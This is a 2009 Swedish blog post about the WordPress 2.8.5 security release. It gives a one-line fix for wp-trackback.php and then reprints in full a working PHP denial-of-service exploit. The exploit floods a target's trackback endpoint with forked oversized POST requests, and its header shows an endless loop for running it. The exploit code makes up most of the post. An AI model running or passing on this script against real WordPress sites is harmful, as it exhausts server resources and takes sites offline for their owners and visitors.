Wordpress 2.8.5 släppt
av Tobias skrivet den Oct.21, 2009, under Allmänt
Det verkar som att Wordpress har släppt en ny version som är tänkt att höja säkerheten på Wordpress. Uppdateringen inkluderar en fix för en DoS-attack som florerat runt på nätet en tid. Efter en snabb googling hittade jag exploiten som är väldigt enkel att använda för någon som har (eller vet hur man skaffar) PHP CLI.
Är du mån om din blogg och din server så borde du ladda ned och uppdatera snarast.
edit: Det verkar som att Wordpress Mu inte har uppdaterats när jag skriver detta.
Vill du uppdatera och manuellt lägga in fixen kan du byta ut rad nummer 53 i filen wp-trackback.php till
-
-
$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
Här nedan har ni exploiten:
-
<?php
-
/*
-
* wordpress Resource exhaustion Exploit
-
* http://rooibo.wordpress.com/
-
* security@wordpress.org contacted and get a response,
-
* but no solution available.
-
*
-
* [18/10/2009 20:31:00] modified by Zerial http://blog.zerial.org <panic@zerial.org>
-
*
-
* exploiting:
-
* you must install php-cli (command line interface)
-
* $ while /bin/true; do php wp-trackbacks_dos.php http://target.com/wordpress; done
-
*
-
*/
-
if(count($argv) < 2)
-
die("You need to specify a url to attack\n");
-
$url = $argv[1];
-
$data = parse_url($url);
-
if(count($data) < 2)
-
die("The url should have http:// in front of it, and should be complete.\n");
-
$path = (count($data)==2)?"":$data['path'];
-
$path = trim($path,'/').'/wp-trackback.php';
-
if($path{0} != '/')
-
$path = '/'.$path;
-
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
-
$charset = "";
-
$charset = str_pad($charset,140000,"UTF-8,");
-
$str = 'charset='.urlencode($charset);
-
$str .= '&url=www.example.com';
-
$str .= '&title='.$b;
-
$str .= '&blog_name=lol';
-
$str .= '&excerpt=lol';
-
for($n = 0; $n <= 5; $n++){
-
$fp = @fsockopen($data['host'],80);
-
if(!$fp)
-
die("unable to connect to: ".$data['host']."\n");
-
$pid[$n] = pcntl_fork();
-
if(!$pid[$n]){
-
fputs($fp, "POST $path HTTP/1.1\r\n");
-
fputs($fp, "Host: ".$data['host']."\r\n");
-
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
-
fputs($fp, "Content-length: ".strlen($str)."\r\n");
-
fputs($fp, "Connection: close\r\n\r\n");
-
fputs($fp, $str."\r\n\r\n");
-
echo "hit!\n";
-
}
-
}
-
?>